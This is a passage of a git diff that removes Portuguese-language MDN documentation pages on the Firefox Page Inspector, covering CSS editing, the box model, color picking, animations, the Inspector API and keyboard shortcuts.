-<p>The Inspector understands CSS source maps. That means that if you are using a CSS preprocessor that has support for source maps, and you've enabled source map support in the <a href="/en-US/docs/Tools_Toolbox#Style_Editor">Style Editor settings</a>, then the link will take you to the original source, not the generated CSS. Read more about CSS source map support in the <a href="/en-US/docs/Tools/Style_Editor#Source_map_support">Style Editor documentation</a>.</p>
-
-<h3 id="Obter_ajuda_para_as_propriedades_de_CSS">Obter ajuda para as propriedades de CSS</h3>
-
-<p>If you context-click on a CSS property name in the Rules view, you can open a popup displaying help for that property from MDN:</p>
-
-<p>{{EmbedYouTube("ptVtAEOK7y4")}}</p>
-
-<p>Note that for the moment, this doesn't cache responses from MDN, so it requires network connectivity.</p>
-
-<h3 id="Overridden_declarations">Overridden declarations</h3>
-
-<p>If a CSS declaration is overridden by some other CSS rule with a greater weight, then the declaration is shown with a line through it.</p>
-
-<p>Overridden declarations have a magnifying glass next to them. Click the magnifying glass to filter the rule view to show only the rules applying to the current node that try to set the same property: that is, the complete cascade for the given property.</p>
-
-<p>This makes it easy to see which rule is overriding the declaration:</p>
-
-<p>{{EmbedYouTube("i9mDVjJAGwQ")}}</p>
-
-<h2 id="Examinar_CSS_computada">Examinar CSS computada</h2>
-
-<p>To see the complete computed CSS for the selected element, switch to the <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#Computed_view">Computed view</a>. This shows the calculated value that each CSS property has for the selected element:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11209/css-computed.png" style="display: block; height: 566px; margin-left: auto; margin-right: auto; width: 587px;"></p>
-
-<p>You can <kbd>Tab</kbd> through them to select them, and from Firefox 49 onwards, you can find more information about these properties — pressing <kbd>F1</kbd> on a selected property will open up its MDN reference page.</p>
-
-<p>Clicking the arrow next to the property name (or pressing <kbd>Enter</kbd> or <kbd>Space</kbd> while it is selected) shows the rule that set this value, along with a link to the source filename and line number:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11211/css-computed-expanded.png" style="display: block; height: 484px; margin-left: auto; margin-right: auto; width: 587px;"></p>
-
-<p>By default, this view only shows values that have been explicitly set by the page: to see all values, click the "Browser styles" box. You can <kbd>Tab</kbd> through the filenames/line numbers; pressing <kbd>Enter</kbd>/<kbd>Return</kbd> will open up the relevant file at that point in the <a href="/en-US/docs/Tools/Style_Editor">Style Editor</a>.</p>
-
-<p>Typing in the search box performs a live filtering of the list, so, for example, if you just want to see font-related settings, you can type "font" in the search box, and only properties with "font" in the name will be listed. You can also search for the values of properties: to find the rule responsible for setting the font to "Lucida Grande", type that in the search box.</p>
-
-<div class="note">
-<p>While in the Computed view, you can press <kbd>Ctrl</kbd> / <kbd>Cmd</kbd> + <kbd>F</kbd> to focus the search field. Once you've typed in a filter, you can press <kbd>Esc</kbd> to remove it again.</p>
-</div>
-
-<h2 id="Editar_regras">Editar regras</h2>
-
-<p>If you click on a declaration or a selector in the Rules view you can edit it and see the results immediately. You can also <kbd>Tab</kbd> through the different existing properties and values, and start editing them by pressing <kbd>Enter</kbd> or <kbd>Space</kbd>. To add a new declaration to a rule, click on the last line of the rule (the line occupied by the closing brace).</p>
-
-<p>As you start typing a property name, you'll see a list of autocomplete suggestions. Press <kbd>Tab</kbd> to accept the current suggestion or <kbd>Up</kbd> and <kbd>Down</kbd> to move through the list. The default choice is the most common property that starts with the letters you've typed. For example, here the user has typed "c" and the default choice is "color":</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13080/css-autocomplete.png" style="display: block; height: 401px; margin-left: auto; margin-right: auto; width: 587px;"></p>
-
-<p>If you enter an invalid value for a property when editing it, or an unknown property name, a yellow alert icon appears besides the declaration.</p>
-
-<p>Any changes you make are temporary: reloading the page will restore the original styling.</p>
-
-<p>You can use the arrow keys to increase/decrease numeric rules while editing. The <kbd>Up</kbd> arrow will turn "1px" to 2px, and <kbd>Shift</kbd> + <kbd>Up</kbd>/<kbd>Down</kbd> will increment by 10. <kbd>Alt</kbd> + <kbd>Up</kbd>/<kbd>Down</kbd> change values by 0.1, and <kbd>Shift</kbd> + <kbd>Page up</kbd>/<kbd>Page down</kbd> will add or subtract 100 from the value.</p>
-
-<p>Edits that you make in the Rules view are reflected in the <a href="/en-US/docs/Tools/Style_Editor">Style Editor</a>, and vice versa.</p>
-
-<p>Starting in Firefox 52, if you're editing CSS, the context menu you'll see is the normal one for working with editable text:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14522/editable-context-menu.png" style="display: block; height: 241px; margin-left: auto; margin-right: auto; width: 200px;"></p>
-
-<h2 id="Adicionar_regras">Adicionar regras</h2>
-
-<p>You can add new rules in the Rules view. Just right-click to show the context menu and select "Add rule". This will add a new CSS rule whose selector matches the currently selected node.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11193/css-add-rule-menu.png" style="display: block; height: 734px; margin-left: auto; margin-right: auto; width: 588px;"></p>
-
-<p>There's also a button that enables you to do the same thing:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11191/css-add-rule-button.png" style="display: block; height: 256px; margin-left: auto; margin-right: auto; width: 588px;"></p>
-
-<h2 id="Copiar_regras">Copiar regras</h2>
-
-<p>To copy rules, and pieces of rules, use one of the following context menu items in the Rules view:</p>
-
-<ul>
- <li>Copy Rule</li>
- <li>Copy Selector</li>
- <li>Copy Property Declaration</li>
- <li>Copy Property Name</li>
- <li>Copy Property Value</li>
-</ul>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11217/css-context-menu.png" style="display: block; height: 218px; margin-left: auto; margin-right: auto; width: 281px;"></p>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li>Lista completa dos <a href="/pt-PT/docs/Tools/Page_Inspector/atalhos_de_teclado">talhos de Teclado</a> do Inspetor de Página.</li>
- <li>The Inspector also includes a number of specialized tools for working with particular CSS features, such as colors, fonts, and animations. To read about these see the list of <a href="/pt-PT/docs/Tools/Page_Inspector">guias de como...</a>.</li>
-</ul>
diff --git a/files/pt-pt/tools/page_inspector/how_to/examine_and_edit_the_box_model/index.html b/files/pt-pt/tools/page_inspector/how_to/examine_and_edit_the_box_model/index.html
deleted file mode 100644
index 1b974d90d7..0000000000
--- a/files/pt-pt/tools/page_inspector/how_to/examine_and_edit_the_box_model/index.html
+++ /dev/null
@@ -1,42 +0,0 @@
----
-title: Examinar e editar o modelo de caixa
-slug: Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model
-tags:
- - Ferramentas
- - Guia(2)
-translation_of: Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model
-original_slug: Tools/Page_Inspector/How_to/Examinar_e_editar_o_modelo_de_caixa
----
-<div>{{ToolsSidebar}}</div><h2 id="Visualização_do_modelo_de_caixa">Visualização do modelo de caixa</h2>
-
-<p>Com o <a href="/pt-PT/Tools/Page_Inspector/Guia_de_IU/#Selecionar_botão_de_elemento">botão de selecionar Elemento</a> pressionado, se passar o rato por cima de um elemento na página, é mostrado o <a href="/pt-PT/docs/Web/CSS/CSS_Box_Model/Introducao_modelo_caixa_CSS">modelo de caixa</a> para o elemento sobreposto na página:</p>
-
-<p>{{EmbedYouTube("vDRzN-svJHQ")}}</p>
-
-<p>Também é mostrado sobreposto se passar com o rato sobre uma marcação de elemento no painel de HTML:</p>
-
-<p>{{EmbedYouTube("xA4IxTttNLk")}}</p>
-
-<p>Se o elemento está em linha e é dividido em várias caixas de linha, o marcador mostra a cada caixa de linha individual que formam o elemento:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10349/inline-box-model.png" style="display: block; height: 186px; margin-left: auto; margin-right: auto; width: 351px;"></p>
-
-<h3 id="A_visualização_do_Modelo_de_Caixa">A visualização do Modelo de Caixa</h3>
-
-<p>Quando é selecionado um elemento, pode obter uma visão detalhada do modelo na <a href="/pt-PT/docs/Tools/Page_Inspector/Guia_de_IU#Visualização_computada">visualização do Modelo de Caixa</a>:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14241/box-model.png" style="display: block; height: 232px; margin-left: auto; margin-right: auto; width: 610px;"></p>
-
-<p>Se passar o rato sobre um valor, verá uma dica de ferramenta a dizer qual é a regra que o valor provém de:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14243/box-model-tooltip.png" style="display: block; height: 234px; margin-left: auto; margin-right: auto; width: 620px;"></p>
-
-<p>Se passar o rato sobre uma parte do modelo de caixa na visualização do Modelo de Caixa, a parte correspondente da página é realçada:</p>
-
-<p>{{EmbedYouTube("H3ZxRbbyfwI")}}</p>
-
-<h2 id="Edição_do_modelo_de_caixa">Edição do modelo de caixa</h2>
-
-<p>Também pode editar os valores na <a href="/pt-PT/docs/Tools/Page_Inspector/How_to/Examinar_e_editar_o_modelo_de_caixa#A_visualização_do_Modelo_de_Caixa">visualização do Modelo de Caixa</a>, e ver os resultados imediatatamente na página:</p>
-
-<p>{{EmbedYouTube("gHjDjM8GJ9I")}}</p>
diff --git a/files/pt-pt/tools/page_inspector/how_to/index.html b/files/pt-pt/tools/page_inspector/how_to/index.html
deleted file mode 100644
index 4bf8c51b69..0000000000
--- a/files/pt-pt/tools/page_inspector/how_to/index.html
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: Como...
-slug: Tools/Page_Inspector/How_to
-tags:
- - NeedsTranslation
- - TopicStub
-translation_of: Tools/Page_Inspector/How_to
----
-<div>{{ToolsSidebar}}</div><p><span class="seoSummary">As hiperligações para os vários 'Como...' podem ser encontradas aqui. Estas hiperligações descrevem em profundidade as técnicas de 'Como...'.</span></p>
-
-<p>{{ ListSubpages () }}</p>
-
-<p> </p>
diff --git a/files/pt-pt/tools/page_inspector/how_to/inspect_and_select_colors/index.html b/files/pt-pt/tools/page_inspector/how_to/inspect_and_select_colors/index.html
deleted file mode 100644
index 3f062fe81e..0000000000
--- a/files/pt-pt/tools/page_inspector/how_to/inspect_and_select_colors/index.html
+++ /dev/null
@@ -1,27 +0,0 @@
----
-title: Inspecionar e selecionar cores
-slug: Tools/Page_Inspector/How_to/Inspect_and_select_colors
-tags:
- - Ferramentas
- - Guia(2)
- - Inspetor
-translation_of: Tools/Page_Inspector/How_to/Inspect_and_select_colors
-original_slug: Tools/Page_Inspector/How_to/Inspecionar_e_selecionar_cores
----
-<div>{{ToolsSidebar}}</div><p>Em <a href="/pt-PT/docs/Tools/Page_Inspector/Guia_de_IU#Visualizar_Regras">visualizar Regras</a> no Painel de CSS, se uma regra contém um valor de cor, irá ver uma amostra da da cor junto ao valor:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/6361/inspector-css-color-swatch.png" style="display: block; height: 158px; margin-left: auto; margin-right: auto; width: 487px;"></p>
-
-<p>Se clicar na amostra de cor, verá uma janela para selecionar a cor, permitindo-lhe alterar a cor:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/7747/inspector-color-picker.png" style="display: block; height: 320px; margin-left: auto; margin-right: auto; width: 835px;"></p>
-
-<p>O selecionador de cores inclui um ícone 'conta-gotas': ao clicar neste ícone permite-lhe utilizar o 'conta-gotas' para selecionar uma nova cor para o elemento da página:</p>
-
-<p>{{EmbedYouTube("0Zx1TN21QOo")}}</p>
-
-<p>A partir da versão 40 do Firefox, ao clicar na amostra de cor enquanto mantém pressionada a tecla 'Shift' irá alterar o formato da cor:</p>
-
-<p>{{EmbedYouTube("gYL8-gxc1MA")}}</p>
-
-<p>A partir da versão 53 do Firefox e superior, este suporta os valores de cor de <a href="https://drafts.csswg.org/css-color/">nível 4 de CSS</a> (EN).</p>
diff --git a/files/pt-pt/tools/page_inspector/how_to/open_the_inspector/index.html b/files/pt-pt/tools/page_inspector/how_to/open_the_inspector/index.html
deleted file mode 100644
index e0c41be605..0000000000
--- a/files/pt-pt/tools/page_inspector/how_to/open_the_inspector/index.html
+++ /dev/null
@@ -1,22 +0,0 @@
----
-title: Abrir o Inspetor
-slug: Tools/Page_Inspector/How_to/Open_the_Inspector
-tags:
- - Ferramentas
- - Guía
- - Inspetor
-translation_of: Tools/Page_Inspector/How_to/Open_the_Inspector
-original_slug: Tools/Page_Inspector/How_to/Abrir_o_inspetor
----
-<div>{{ToolsSidebar}}</div>
-
-<p>Existem dois modos principais para abrir o Inspetor:</p>
-
-<ul>
- <li><em>sem um elemento selecionado</em>: escolha "ferramentas -&gt; Programador Web -&gt; Inspetor" na Barra de Menu ou o <a href="/pt-PT/docs/Tools/atalhos_de_teclado#Abrir_e_fechar_ferramentas">atalho de teclado </a>equivalente.</li>
- <li><em>com um elemento selecionado</em>: clique direito do rato num elemento na página da Web e selecione "Inspecionar Elemento"</li>
-</ul>
-
-<p>O 'Inspetor' irá aparecer no fundo da janela do navegador:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/10055/inspector-in-context.png" style="display: block; margin-left: auto; margin-right: auto; width: 845px;">Para começar a encontrar a sua direção em torno do Inspetor, consulte <a href="/pt-PT/docs/Tools/Page_Inspector/Guia_de_IU">Guia de IU</a>.</p>
diff --git a/files/pt-pt/tools/page_inspector/how_to/reposition_elements_in_the_page/index.html b/files/pt-pt/tools/page_inspector/how_to/reposition_elements_in_the_page/index.html
deleted file mode 100644
index 7774199cd0..0000000000
--- a/files/pt-pt/tools/page_inspector/how_to/reposition_elements_in_the_page/index.html
+++ /dev/null
@@ -1,23 +0,0 @@
----
-title: Reposição de elementos na página
-slug: Tools/Page_Inspector/How_to/Reposition_elements_in_the_page
-translation_of: Tools/Page_Inspector/How_to/Reposition_elements_in_the_page
-original_slug: Tools/Page_Inspector/How_to/Reposicao_de_elementos_na_pagina
----
-<div>{{ToolsSidebar}}</div><div class="geckoVersionNote">New in Firefox 48</div>
-
-<p>A partir da versão 48 do Firefox pode mover absolutamente os elementos posicionados, arrastando-os em redor da página.</p>
-
-<p>{{EmbedYouTube("Or5HM1FFhvE")}}</p>
-
-<p>Se um elemento tem a sua propriedade <code>{{cssxref("position")}}</code> definida para <code>absoluta</code>, <code>relativa</code> ou <code>fixa e uma ou mais propriedades de </code>{{cssxref("top")}}, {{cssxref("bottom")}} , {{cssxref("left")}} ou {{cssxref("right")}}, a <a href="https://developer.mozilla.org/pt-PT/docs/Tools/Page_Inspector/Guia_de_IU#Visualização_computada">visualização do Modelo de Caixa</a> exibe um botão:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14245/box-model-reposition.png" style="display: block; height: 472px; margin-left: auto; margin-right: auto; width: 610px;"></p>
-
-<p>Se clicar nesse botão, aparecem dois pontos de apoio junto ao elemento:</p>
-
-<p><img alt="Example for changing the position of an element within the content" src="https://mdn.mozillademos.org/files/12986/in-content-box-model-editing.png" style="display: block; height: 215px; margin-left: auto; margin-right: auto; width: 388px;"></p>
-
-<p>Pode esses pontos de apoio para arrastar o elemento em redor da página.</p>
-
-<p>Se o elemento estiver absolutamente posicionado, as linhas tracejadas são mostrados a representar o deslocamento original. Para os elementos relativamente posicionados, as linhas tracejadas indicam a posição original do nodo. Os deslocamentos são indicados por uma linha e uma dica da ferramenta para cada lado.</p>
diff --git a/files/pt-pt/tools/page_inspector/how_to/use_the_inspector_api/index.html b/files/pt-pt/tools/page_inspector/how_to/use_the_inspector_api/index.html
deleted file mode 100644
index 17d474a9af..0000000000
--- a/files/pt-pt/tools/page_inspector/how_to/use_the_inspector_api/index.html
+++ /dev/null
@@ -1,44 +0,0 @@
----
-title: Utilizar a API do Inspetor
-slug: Tools/Page_Inspector/How_to/Use_the_Inspector_API
-tags:
- - Ferramentas
- - Inspetor
- - Referência(2)
-translation_of: Tools/Page_Inspector/How_to/Use_the_Inspector_API
-original_slug: Tools/Page_Inspector/How_to/Utilizar_a_API_do_Inspetor
----
-<div>{{ToolsSidebar}}</div><p>Firefox add-ons may access the following objects from the chrome://browser/content/devtools/inspector/inspector.xul context:</p>
-
-<h3 id="window.inspector">window.inspector</h3>
-
-<p>defined in <a href="http://mxr.mozilla.org/mozilla-central/source/browser/devtools/inspector/inspector-panel.js" title="http://mxr.mozilla.org/mozilla-central/source/browser/devtools/inspector/inspector-panel.js">inspector-panel.js</a>. Attributes and functions:</p>
-
-<ul>
- <li>.selection - information about the inspector's selection:
- <ul>
- <li>.isNode() - returns true if selection is node.</li>
- <li>.node - returns the actual element from the page</li>
- <li>.window - the window object of the frame the selection is in.</li>
- </ul>
- </li>
- <li>.markDirty() - marks that the page has been changed by the inspector - a warning will be shown when leaving the page, since changes made through the inspector are rewritten on reload.</li>
-</ul>
-
-<p>Bindable events using on:</p>
-
-<h4 id="markuploaded">markuploaded</h4>
-
-<p>Called when the left panel has been refreshed, after page change.</p>
-
-<h4 id="ready">ready</h4>
-
-<p>Called on first markuploaded.</p>
-
-<h4 id="pseudoclass">pseudoclass</h4>
-
-<p>Called after toggle of a pseudoclass.</p>
-
-<h4 id="layout-change">layout-change</h4>
-
-<p>"low-priority change event for things like paint and resize."</p>
diff --git a/files/pt-pt/tools/page_inspector/how_to/visualize_transforms/index.html b/files/pt-pt/tools/page_inspector/how_to/visualize_transforms/index.html
deleted file mode 100644
index 1ad38640b4..0000000000
--- a/files/pt-pt/tools/page_inspector/how_to/visualize_transforms/index.html
+++ /dev/null
@@ -1,12 +0,0 @@
----
-title: Visualizar transformações
-slug: Tools/Page_Inspector/How_to/Visualize_transforms
-tags:
- - Ferramentas
- - Guia(2)
- - Inspetor
-translation_of: Tools/Page_Inspector/How_to/Visualize_transforms
----
-<div>{{ToolsSidebar}}</div><p>Se passar o rato sobre uma propriedade <a href="/pt-PT/docs/Web/CSS/transform"><code>transform</code></a> em <a href="/pt-PT/docs/Tools/Page_Inspector/Guia_de_IU#Visualizar_Regras">visualizar Regras</a>, irá ver a transformação sobreposta na página:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/9961/transform.png" style="display: block; height: 1670px; margin-left: auto; margin-right: auto; width: 1968px;"></p>
diff --git a/files/pt-pt/tools/page_inspector/how_to/work_with_animations/index.html b/files/pt-pt/tools/page_inspector/how_to/work_with_animations/index.html
deleted file mode 100644
index 7f78a2eee5..0000000000
--- a/files/pt-pt/tools/page_inspector/how_to/work_with_animations/index.html
+++ /dev/null
@@ -1,109 +0,0 @@
----
-title: Trabalhar com animações
-slug: Tools/Page_Inspector/How_to/Work_with_animations
-translation_of: Tools/Page_Inspector/How_to/Work_with_animations
-original_slug: Tools/Page_Inspector/How_to/Trabalhar_com_animacoes
----
-<div>{{ToolsSidebar}}</div><p>Este artigo aborda três ferramentas que pode utilizar para visualizar e editar animações:</p>
-
-<ul>
- <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Work_with_animations#Animation_inspector">O inspector de animação</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Work_with_animations#Edit_keyframes">Edição de @keyframes</a></li>
- <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Work_with_animations#Edit_timing_functions">Edição de funções de sincronização</a></li>
-</ul>
-
-<h2 id="Inspetor_de_animação">Inspetor de animação</h2>
-
-<div class="note">
-<p>Although this tool was introduced in Firefox 41, its UI was revamped in Firefox 43. This article describes the animation inspector as it appears in Firefox 43 and subsequent releases. If you want to see what the animation inspector looks like in Firefox 41 and 42, see <a href="/en-US/docs/Tools/Page_Inspector/How_to/Work_with_animations/Animation_inspector_(Firefox_41_and_42)">this separate page</a>.</p>
-</div>
-
-<p>From Firefox 41, the Page Inspector includes an <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#Animations_view">extra view labeled "Animations"</a>.</p>
-
-<p>This view displays CSS transitions and CSS animations synchronized along a timeline, with a draggable widget you can use to move to any point in the timeline and see the page at that point.</p>
-
-<p>To see how it works, we'll walk through an example. The box below contains three grayscale icons, each representing a different <a href="https://www.mozilla.org/en-US/firefox/channel/">Firefox channel</a>. If you click an icon, the icon enlarges and changes to color, and the name of the channel appears. Click the icon again to reverse the effect. These animations are made by applying transitions to several CSS properties.</p>
-
-<p>{{ EmbedLiveSample('firefox-logo-animation', 500, 250, "", "Tools/Page_Inspector/How_to/Work_with_animations/Animations_examples") }}</p>
-
-<p>Let's use the animation inspector to see what's going on in this example.</p>
-
-<ul>
- <li>Using Firefox 43 or later, right-click one of the icons and select "Inspect Element".</li>
- <li>You'll probably also want to adjust the selected node up a level, to the <code>&lt;div class="channel"&gt;</code> node.</li>
- <li>Switch over to the "Animations" tab.</li>
-</ul>
-
-<p>{{EmbedYouTube("U2eJYacf5XY")}}</p>
-
-<p>Now play the animation:</p>
-
-<p>{{EmbedYouTube("CwXXXEllB3o")}}</p>
-
-<p>Let's take a closer look at the contents of the animation inspector here:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/11929/animation-inspector-44.png" style="display: block; height: 181px; margin-left: auto; margin-right: auto; width: 643px;"></p>
-
-<p>It shows a synchronized timeline for every CSS property transition involved in the animation. The timeline starts at the start of the first transition, and ends at the end of the last transition, and is labeled with markers every 100 milliseconds (this depends on the time scale of the animations currently displayed). You can see that the example above takes 735 milliseconds to run.</p>
-
-<p>Cada animação ou transição é mostrada como uma barra horizontal disposta através da barra cronológica:</p>
-
-<ul>
- <li>The bar is blue if a <code><a href="/en-US/docs/Web/CSS/transition">transition</a></code> was used to animate a property, and orange if a <a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations"><code>@keyframes</code> animation</a> was used.</li>
- <li>From Firefox 44 onwards, the bar contains a lightning bolt icon (<img alt="" src="https://mdn.mozillademos.org/files/11931/compositor-icon.png" style="height: 18px; width: 16px;">) if the property was animated using the compositor thread (see more about the <a href="/en-US/docs/Tools/Performance/Scenarios/Animating_CSS_properties#CSS_property_cost">cost of animating different CSS properties</a>).</li>
- <li>The bar is labeled with the name of the property being animated or the name of the <code>@keyframes</code> animation.</li>
- <li>If the animation or transition had a delay, this is shown as a cross-hatched portion of the bar.</li>
- <li>If you hover over the bar, a tooltip appears, giving you more detailed information about the animation or transition.</li>
-</ul>
-
-<p>To the left of each bar is a selector for the node that the animation applies to. If you hover over this selector, the node is highlighted in the page. Click the selector to select the node in the inspector.</p>
-
-<p>To the left of the selector is a "target" icon (<img alt="" src="https://mdn.mozillademos.org/files/11919/target-icon.png" style="height: 16px; width: 15px;">). From Firefox 44, clicking this icon will lock the highlighter on the element.</p>
-
-<p>Aplicando tudo isto para o nosso exemplo, nós podemos ver que:</p>
-
-<ul>
- <li>The animation involved two elements, <code>span.channel-note</code> and <code>img#selected.channel-icon</code>. Hovering over these selectors, we can see that those elements are, respectively, the channel name "Firefox Nightly" and the channel icon: {{EmbedYouTube("EOUjHt0V1No")}}</li>
- <li>Each element had two properties animated:
- <ul>
- <li><code><a href="/en-US/docs/Web/CSS/width">width</a></code> and <code><a href="/en-US/docs/Web/CSS/opacity">opacity</a></code> for the channel name</li>
- <li><code><a href="/en-US/docs/Web/CSS/filter">filter</a></code> and <code><a href="/en-US/docs/Web/CSS/transform">transform</a></code> for the icon.<span class="hidden"> </span><span class="hidden"> </span><span class="hidden"> </span></li>
- </ul>
- </li>
- <li>The <code>filter</code> property had a delay of 0.25 seconds applied to it.</li>
- <li>The <code>transform</code> property transition ends after 0.5 seconds.</li>
- <li>The <code>transform</code> property was animated on the compositor thread.</li>
-</ul>
-
-<h3 id="Reprodução_de_animação">Reprodução de animação</h3>
-
-<p>No topo do inspetor de animação:</p>
-
-<ul>
- <li>there are buttons to play/pause and rewind the animation (new in Firefox 44)</li>
- <li>the current time in the animation is displayed (new in Firefox 44).</li>
-</ul>
-
-<p>Finally, if you click inside the bar at the top of the timeline, you get a scrubber that you can drag left and right to move backwards and forwards through the animation, and pinpoint exactly what's happening when:</p>
-
-<p>{{EmbedYouTube("1hqNaMsB48g")}}</p>
-
-<h2 id="Editar_keyframes">Editar @keyframes</h2>
-
-<p>Quaisquer <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_animations">regras de @keyframes </a> associadas com o elemento atualmente selecionado são exibibas na <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#Rules_view">Visualização das Regras </a>e são editáveis:</p>
-
-<p>{{EmbedYouTube("mDHtLK88ZW4")}}</p>
-
-<h2 id="Editar_funções_de_sincronização">Editar funções de sincronização</h2>
-
-<p>When you <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_animations">create a CSS animation</a> you can specify a <a href="/en-US/docs/Web/CSS/animation-timing-function">timing function</a>: this determines the rate at which the animation progresses. One way to specify the timing function is with a cubic Bézier curve.</p>
-
-<p>Timing functions defined as cubic Bézier curves get an icon in the Rules view. If you click the icon you get a visual editor for the curve, enabling you to drag <a href="/en-US/docs/Web/CSS/timing-function#The_cubic-bezier()_class_of_timing-functions">P1 and P2</a>, and see the results in the page:</p>
-
-<p>{{EmbedYouTube("GW5-R2ewaqA")}}</p>
-
-<p>Esta funcionalidade utiliza o código fonte de <a href="http://cubic-bezier.com">Lea Verou’s cubic-bezier.com</a>.</p>
-
-<p>O editor cúbico Bézier inclui um número de pré-ajustes, agrupados sob "Ease-in", "Ease-out", and "Ease-in-out":</p>
-
-<p>{{EmbedYouTube("Jx-J2Yy0aSg")}}</p>
diff --git a/files/pt-pt/tools/page_inspector/index.html b/files/pt-pt/tools/page_inspector/index.html
deleted file mode 100644
index 66745268f4..0000000000
--- a/files/pt-pt/tools/page_inspector/index.html
+++ /dev/null
@@ -1,58 +0,0 @@
----
-title: Inspetor de Página
-slug: Tools/Page_Inspector
-tags:
- - CSS
- - DOM
- - Desenvolvimento da Web
- - 'Desenvolvimento da Web: Ferramentas'
- - Folhas de estilo
- - HTML
- - Precisa de Tradução
- - 'l10n:prioridade'
-translation_of: Tools/Page_Inspector
----
-<div>{{ToolsSidebar}}</div><p>Utilize o 'Inspetor de Página' para examinar e modificar o HTML e CSS de uma página.</p>
-
-<p>Pode examinar as páginas carregadas na cópia local do Firefox ou num destino remoto, tal como um dispositivo com o Firefox OS ou Firefox para Android. Consulte a <a href="/pt-PT/docs/Tools/Remote_Debugging">depuração remota </a>para saber como ligar as ferramentas de desenvolvimento a um destino remoto.</p>
-
-<hr>
-<h2 id="Guia_da_Interface_do_Utilizador">Guia da Interface do Utilizador</h2>
-
-<p>Para se movimentar no Inspector, pode ver um <a href="/pt-PT/docs/Tools/Page_Inspector/Guia_de_IU">guia rápido da IU</a>.</p>
-
-<hr>
-<h2 id="Como...">Como...</h2>
-
-<p>Saiba o que pode fazer com o Inspetor, consulte os seguintes guias de como...:</p>
-
-<div class="twocolumns">
-<ul>
- <li><a href="/pt-PT/docs/Tools/Page_Inspector/How_to/Abrir_o_inspetor">Abrir o Inspetor</a></li>
- <li><a href="/pt-PT/docs/Tools/Page_Inspector/How_to/Examinar_e_editar_HTML">Examinar e editar HTML</a></li>
- <li><a href="/pt-PT/docs/Tools/Page_Inspector/How_to/Examinar_e_editar_o_modelo_de_caixa">Examinar e editar o modelo de caixa</a></li>
- <li><a href="/pt-PT/docs/Tools/Page_Inspector/How_to/Inspecionar_e_selecionar_cores">Inspecionar e selecionar cores</a></li>
- <li><a href="/pt-PT/docs/Tools/Page_Inspector/How_to/Reposicao_de_elementos_na_pagina">Reposicionar elementos na página</a></li>
- <li><a href="/pt-PT/docs/Tools/Page_Inspector/How_to/Visualizar_tipos_de_letra">Ver tipos de letra</a></li>
- <li><a href="/pt-PT/docs/Tools/Page_Inspector/How_to/Visualize_transforms">Visualizar 'transforms</a>'</li>
- <li><a href="/pt-PT/docs/Tools/Page_Inspector/How_to/Utilizar_a_API_do_Inspetor">Utilizar a API do Inspetor</a></li>
- <li><a href="/pt-PT/docs/Tools/Page_Inspector/How_to/Selecionar_um_elemento">Selecionar um elemento</a></li>
- <li><a href="/pt-PT/docs/Tools/Page_Inspector/How_to/Examinar_e_editar_CSS">Examinar e editar CSS</a></li>
- <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_event_listeners">Examinar escutas de evento</a></li>
- <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Work_with_animations">Trabalhar com animações</a></li>
- <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_filters">Editar filtros de CSS</a></li>
- <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/View_background_images">Ver imagens de fundo</a></li>
- <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Use_the_Inspector_from_the_Web_Console">Utilizar o Inspetor a partir da Consola da Web</a></li>
- <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Examine CSS grid layouts</a></li>
-</ul>
-</div>
-
-<hr>
-<h2 id="Referência">Referência</h2>
-
-<div class="onecolumn">
-<ul>
- <li><a href="/pt-PT/docs/Tools/Page_Inspector/atalhos_de_teclado">Atalhos de teclado</a></li>
- <li><a href="/pt-PT/docs/Tools/Tools_Toolbox">Configurações</a></li>
-</ul>
-</div>
diff --git a/files/pt-pt/tools/page_inspector/keyboard_shortcuts/index.html b/files/pt-pt/tools/page_inspector/keyboard_shortcuts/index.html
deleted file mode 100644
index 07699f08e9..0000000000
--- a/files/pt-pt/tools/page_inspector/keyboard_shortcuts/index.html
+++ /dev/null
@@ -1,94 +0,0 @@
----
-title: Atalhos de teclado do inspetor de página
-slug: Tools/Page_Inspector/Keyboard_shortcuts
-translation_of: Tools/Page_Inspector/Keyboard_shortcuts
-original_slug: Tools/Page_Inspector/atalhos_de_teclado
----
-<div>{{ToolsSidebar}}</div><p>{{ Page ("pt-PT/docs/Tools/atalhos_de_teclado", "page-inspector") }}</p>
-
-<h3 id="Atalhos_globais">Atalhos globais</h3>
-
-<p>{{ Page ("pt-PT/docs/Tools/atalhos_de_teclado", "all-toolbox-tools") }}</p>
-
-<div id="SL_balloon_obj" style="display: block;">
